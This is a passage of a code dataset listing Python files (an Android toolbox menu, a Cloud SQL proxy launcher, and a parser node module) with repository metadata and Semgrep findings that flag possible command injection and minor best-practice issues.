call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.unchecked-subprocess-call_27dfc03fff3121f3_224e543d", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.unchecked-subprocess-call", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "remediation": "check_call", "location": {"file_path": "unknown", "line_start": 119, "line_end": 119, "column_start": 28, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/subprocess.html#subprocess.check_call", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.unchecked-subprocess-call", "path": "/tmp/tmppq52ww6s/27dfc03fff3121f3.py", "start": {"line": 119, "col": 28, "offset": 3148}, "end": {"line": 119, "col": 32, "offset": 3152}, "extra": {"message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "fix": "check_call", "metadata": {"references": ["https://docs.python.org/3/library/subprocess.html#subprocess.check_call"], "category": "correctness", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_27dfc03fff3121f3_b7bba16c", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 130, "line_end": 130, "column_start": 14, "column_end": 48, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/27dfc03fff3121f3.py", "start": {"line": 130, "col": 14, "offset": 3352}, "end": {"line": 130, "col": 48, "offset": 3386}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_27dfc03fff3121f3_4d2dd53c", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 139, "line_end": 139, "column_start": 13, "column_end": 46, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/27dfc03fff3121f3.py", "start": {"line": 139, "col": 13, "offset": 3542}, "end": {"line": 139, "col": 46, "offset": 3575}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_27dfc03fff3121f3_9709b4c9", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 143, "line_end": 143, "column_start": 14, "column_end": 48, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/27dfc03fff3121f3.py", "start": {"line": 143, "col": 14, "offset": 3644}, "end": {"line": 143, "col": 48, "offset": 3678}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 11 | true | [
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.dangerous-subprocess-use-audit"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | [
109,
119
] | [
109,
119
] | [
13,
17
] | [
33,
38
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.",
"Detected subprocess functi... | [
7.5,
7.5
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | net.py | /iotapp/Classes/net.py | fcarbah/IOT | MIT | |
2024-11-18T20:10:20.291235+00:00 | 1,599,958,357,000 | 33b8517821c9eba40d7fdb8287e16c31e6cd6b18 | 3 | {
"blob_id": "33b8517821c9eba40d7fdb8287e16c31e6cd6b18",
"branch_name": "refs/heads/master",
"committer_date": 1599958357000,
"content_id": "3486df33355a5a79de349f608b4823b3a318c546",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "5347bb07a332e50cdff3b4c5f0919dcf17444ea3",
"extension": "py",
"filename": "main.py",
"fork_events_count": 3,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 291862976,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4038,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/main.py",
"provenance": "stack-edu-0054.json.gz:581140",
"repo_name": "longzhenren/Android_Tool_Box",
"revision_date": 1599958357000,
"revision_id": "75c8bae1ae034269ffae5c965c3f015ab6e5779d",
"snapshot_id": "7ec1fa92136d3c5d32c87e709905b8f43764419b",
"src_encoding": "UTF-8",
"star_events_count": 4,
"url": "https://raw.githubusercontent.com/longzhenren/Android_Tool_Box/75c8bae1ae034269ffae5c965c3f015ab6e5779d/main.py",
"visit_date": "2022-12-16T18:23:12.553909"
} | 2.53125 | stackv2 | # coding:utf-8
'''
Target: Python AndroidToolBox Main Interactive Module
Author: LZR@BUAA
Date: 08/27/2020
'''
import FastbootFlash
import FileBackUp
import FileTrans
import Screen
import SoftScript
from Methods import *
MobileInfo = {}
def mainmenu():
while True:
os.system("cls")
printmenu()
op1 = input()
while op1 not in ['1','2','3','4','5','6','7','8','9','0']:
print("输入有误,请重新输入")
op1 = input()
op = int(op1)
if op == 1:
printinfo()
elif op == 2:
Screen.Screenmain()
elif op == 3:
FastbootFlash.Flashmain()
elif op == 4:
FileTrans.FileTransmain()
elif op == 5:
FileBackUp.FileBackupmain()
elif op == 6:
SoftScript.Softmain()
elif op == 7:
rebootList()
elif op == 8:
os.startfile(os.getcwd()+"//README.html")
elif op == 9:
printcmd()
sys.exit()
elif op == 0:
print("感谢使用!再见!")
sys.exit()
def printcmd():
os.system("cls")
os.system("runincmd.bat")
# print(" adb和fastbooot 工具")
# print("-----------------------------------------")
# print(" adb和fastboot命令示例")
# print(" adb命令:")
# print(" adb devices :列出adb设备")
# print(" adb reboot :重启设备")
# print(" adb reboot bootloader :重启到fastboot模式")
# print(" adb reboot recovery :重启到recovery模式")
# print(" adb reboot edl :重启到edl模式")
# print("")
# print(" fastboot命令:")
# print(" fastboot devices :列出fastboot设备")
# print(" fastboot reboot :重启设备")
# print(" fastboot reboot-bootloader :重启到fastboot模式")
# print(" fastboot flash <分区名称> <镜像文件名> :刷写分区")
# print(" fastboot oem reboot-<模式名称> :重启到相应模式")
# print(" fastboot oem device-info :查看解锁状态")
# print("-----------------------------------------")
def printHello():
print(cmd("type logo.txt"))
time.sleep(2)
os.system("cls")
print("###############################################")
print(" Android Tool Box")
print(" 安卓极客工具箱")
print(" Ver:1.0")
print(" Author:LZR@BUAA")
print(" 2020.8")
print("###############################################")
print("提醒:使用前请确保安卓手机的\"USB调试\"功能已开启\n仅在MIUI上测试通过 其他各厂商设备不保证全部可用")
# print(cmd("type mainhead.txt"))
def printinfo():
os.system("cls")
print("+----------设备信息----------+")
print("手机型号:"+MobileInfo['model'])
print("制造商:"+MobileInfo['brand'])
print("安卓版本:" + MobileInfo['android']+"(API"+MobileInfo['API']+")")
print("剩余电量:"+MobileInfo['battery'])
input("按Enter返回主菜单\n")
# os.system("cls")
def printmenu():
print("+-----------主菜单-----------+")
print("[1]设备信息\t[2]投屏工具\n[3]刷机工具\t[4]文件快传\n[5]备份还原\t[6]软件工具\n[7]高级重启\t[8]关于项目\n[9]命令模式\t[0]退出程序")
print("请选择-> ", end='')
if __name__ == "__main__":
printHello()
print("\n等待连接手机……")
if BLConnected():
print("当前为Fastboot模式,即将重启到系统……")
rebootUI()
time.sleep(5)
while True:
if USBConnected():
MobileInfo = getInfo()
print("设备: "+MobileInfo['brand'] + " " +
MobileInfo['model'] + " (API" + MobileInfo['API'] + ") 已连接")
break
time.sleep(2)
mainmenu()
| 123 | 26.78 | 101 | 19 | 996 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-spawn-process-audit_a57b73c7fde8db31_7c6a1c67", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-spawn-process-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content when spawning a process. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here.", "remediation": "", "location": {"file_path": "unknown", "line_start": 42, "line_end": 42, "column_start": 13, "column_end": 54, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-spawn-process-audit", "path": "/tmp/tmppq52ww6s/a57b73c7fde8db31.py", "start": {"line": 42, "col": 13, "offset": 927}, "end": {"line": 42, "col": 54, "offset": 968}, "extra": {"message": "Found dynamic content when spawning a process. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_a57b73c7fde8db31_db706b2e", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 76, "line_end": 76, "column_start": 5, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmppq52ww6s/a57b73c7fde8db31.py", "start": {"line": 76, "col": 5, "offset": 2201}, "end": {"line": 76, "col": 18, "offset": 2214}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_a57b73c7fde8db31_d0e9d36c", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 114, "line_end": 114, "column_start": 9, "column_end": 22, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmppq52ww6s/a57b73c7fde8db31.py", "start": {"line": 114, "col": 9, "offset": 3629}, "end": {"line": 114, "col": 22, "offset": 3642}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_a57b73c7fde8db31_ae0612aa", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 122, "line_end": 122, "column_start": 5, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmppq52ww6s/a57b73c7fde8db31.py", "start": {"line": 122, "col": 5, "offset": 3886}, "end": {"line": 122, "col": 18, "offset": 3899}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 4 | true | [
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-spawn-process-audit"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
42
] | [
42
] | [
13
] | [
54
] | [
"A01:2017 - Injection"
] | [
"Found dynamic content when spawning a process. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here."
] | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | main.py | /main.py | longzhenren/Android_Tool_Box | Apache-2.0 | |
2024-11-18T20:10:22.697061+00:00 | 1,561,799,784,000 | b0763ef53b1e77de58df4217cbe4f970726a8754 | 3 | {
"blob_id": "b0763ef53b1e77de58df4217cbe4f970726a8754",
"branch_name": "refs/heads/master",
"committer_date": 1561799784000,
"content_id": "ec1c9bc8b7f8c75558b75be16eb084b7a66f63c6",
"detected_licenses": [
"MIT"
],
"directory_id": "0a026dae605ebfdadb2a7296045b9d2ae5f8ff57",
"extension": "py",
"filename": "connect_cloud_sql_proxy.py",
"fork_events_count": 0,
"gha_created_at": 1569484581000,
"gha_event_created_at": 1569484582000,
"gha_language": null,
"gha_license_id": "MIT",
"github_id": 211032838,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3879,
"license": "MIT",
"license_type": "permissive",
"path": "/scripts/connect_cloud_sql_proxy.py",
"provenance": "stack-edu-0054.json.gz:581169",
"repo_name": "AnthonyHorton/panoptes-utils",
"revision_date": 1561799784000,
"revision_id": "f9c0ff562539b4c1bbf93a1ba7c122974e75b89c",
"snapshot_id": "b12a2aee93fb834d9ddc37f6519412d98628a4b1",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/AnthonyHorton/panoptes-utils/f9c0ff562539b4c1bbf93a1ba7c122974e75b89c/scripts/connect_cloud_sql_proxy.py",
"visit_date": "2021-07-17T02:43:50.285941"
} | 2.75 | stackv2 | #!/usr/bin/env python
########################################################################
# connect_clouddb_proxy.py
#
# This is a simple wrapper that looks up the connection information in the
# config and establishes a local proxy.
########################################################################
import os
import sys
import subprocess
from pprint import pprint
from panoptes.utils.config import load_config
def main(instances, key_file, proxy_cmd=None, verbose=False):
if not proxy_cmd:
proxy_cmd = os.path.join(os.environ['PANDIR'], 'panoptes-utils', 'bin', 'cloud_sql_proxy')
assert os.path.isfile(proxy_cmd)
connection_str = ','.join(instances)
instances_arg = '-instances={}'.format(connection_str)
run_proxy_cmd = [proxy_cmd, instances_arg]
if key_file:
credentials_arg = '-credential_file={}'.format(key_file)
run_proxy_cmd.append(credentials_arg)
if verbose:
print("Running command: {}".format(run_proxy_cmd))
stdout_handler = subprocess.PIPE
if verbose:
stdout_handler = None
try:
subprocess.run(run_proxy_cmd, stdout=stdout_handler, stderr=stdout_handler)
except KeyboardInterrupt:
print("Shutting down")
if __name__ == '__main__':
import argparse
# Get the command line option
parser = argparse.ArgumentParser(description="Connect to a google CloudSQL via a local proxy")
group = parser.add_mutually_exclusive_group()
group.add_argument('--config', default='conf.yaml',
help="Config file with instances information.")
group.add_argument('--database', default=None,
help="Connect to a specific database, otherwise connect to all in config.")
parser.add_argument('--key-file', default=None, help="JSON service account key location.")
parser.add_argument('--proxy-cmd', default=None, help="The Google Cloud SQL proxy script")
parser.add_argument('--verbose', action='store_true', default=False,
help="Print results to stdout, default False.")
args = parser.parse_args()
print(f'Loading config: {args.config}')
config = load_config(args.config)
try:
network_config = config['panoptes_network']
if args.verbose:
print("Found config:")
pprint(network_config)
except KeyError as e:
print("Invalid configuration. Check panoptes_network config. {}".format(e))
sys.exit(1)
# Try to lookup service account key from config if none provided
key_file = args.key_file
if not key_file:
try:
key_file = network_config['service_account_key']
except KeyError:
pass
if not key_file or not os.path.isfile(key_file):
print("Service account key not found in config, use --key_file. Will attempt to connect without.")
try:
project_id = network_config['project_id']
# Get connection details
connect_instances = list()
for db_name in network_config['cloudsql_instances']:
instance_info = network_config['cloudsql_instances'][db_name]
if args.database and args.database != db_name:
continue
instance_name = instance_info['instance']
location = instance_info['location']
local_port = int(instance_info['local_port'])
conn_str = '{}:{}:{}=tcp:{}'.format(project_id, location, instance_name, local_port)
connect_instances.append(conn_str)
except KeyError as e:
print("Invalid configuration. Check panoptes_network config. {}".format(e))
sys.exit(1)
if args.verbose:
print("Connecting to the following instances:")
pprint(connect_instances)
main(connect_instances, key_file, proxy_cmd=args.proxy_cmd, verbose=args.verbose)
| 111 | 33.95 | 110 | 14 | 766 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_f6f0a1e002223e56_b61de62d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 41, "line_end": 41, "column_start": 9, "column_end": 84, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/f6f0a1e002223e56.py", "start": {"line": 41, "col": 9, "offset": 1105}, "end": {"line": 41, "col": 84, "offset": 1180}, "extra": {"message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args_f6f0a1e002223e56_09486b09", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Detected subprocess function 'run' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.quote()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 41, "line_end": 41, "column_start": 24, "column_end": 37, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args", "path": "/tmp/tmppq52ww6s/f6f0a1e002223e56.py", "start": {"line": 41, "col": 24, "offset": 1120}, "end": {"line": 41, "col": 37, "offset": 1133}, "extra": {"message": "Detected subprocess function 'run' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.quote()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args"
] | [
"security",
"security"
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH"
] | [
41,
41
] | [
41,
41
] | [
9,
24
] | [
84,
37
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.",
"Detected subprocess functio... | [
7.5,
7.5
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"MEDIUM"
] | connect_cloud_sql_proxy.py | /scripts/connect_cloud_sql_proxy.py | AnthonyHorton/panoptes-utils | MIT | |
2024-11-18T20:10:26.861942+00:00 | 1,311,760,625,000 | b39b608027993654b72777d11684c5f986813265 | 3 | {
"blob_id": "b39b608027993654b72777d11684c5f986813265",
"branch_name": "refs/heads/master",
"committer_date": 1311760625000,
"content_id": "3c292e71ace2a1318113b11c44e9eb252c6f7ed4",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "34d49cb7c6f74b759dd079f1761ff246fee23dda",
"extension": "py",
"filename": "nodes.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 2116410,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2605,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/bento/core/parser/nodes.py",
"provenance": "stack-edu-0054.json.gz:581216",
"repo_name": "abadger/Bento",
"revision_date": 1311760625000,
"revision_id": "3f1ddefd8d21decbc018d097d3ec5da4dc9364df",
"snapshot_id": "f9b0cae87e0cc7a491e5cf760e44047c6be4fc70",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/abadger/Bento/3f1ddefd8d21decbc018d097d3ec5da4dc9364df/bento/core/parser/nodes.py",
"visit_date": "2021-01-16T09:01:07.706623"
} | 3.03125 | stackv2 | import cPickle
def __copy(d):
# Faster than deepcopy - ideally remove the need for deepcopy altogether
return cPickle.loads(cPickle.dumps(d, protocol=2))
class Node(object):
def __init__(self, tp, children=None, value=None):
self.type = tp
if children:
self.children = children
else:
self.children = []
self.value = value
def __str__(self):
return "Node(%r)" % self.type
def __repr__(self):
return "Node(%r)" % self.type
def ast_pprint(root, cur_ind=0, ind_val=4, string=None):
"""Pretty printer for the yacc-based parser."""
_buf = []
def _ast_pprint(_root, _cur_ind):
if not hasattr(_root, "children"):
_buf.append(str(_root))
else:
if _root.children:
_buf.append("%sNode(type='%s'):" % (' ' * _cur_ind * ind_val,
_root.type))
for c in _root.children:
_ast_pprint(c, _cur_ind + 1)
else:
msg = "%sNode(type='%s'" % (' ' * _cur_ind * ind_val,
_root.type)
if _root.value is not None:
msg += ", value=%r)" % _root.value
else:
msg += ")"
_buf.append(msg)
_ast_pprint(root, cur_ind)
if string is None:
print "\n".join(_buf)
else:
string.write("\n".join(_buf))
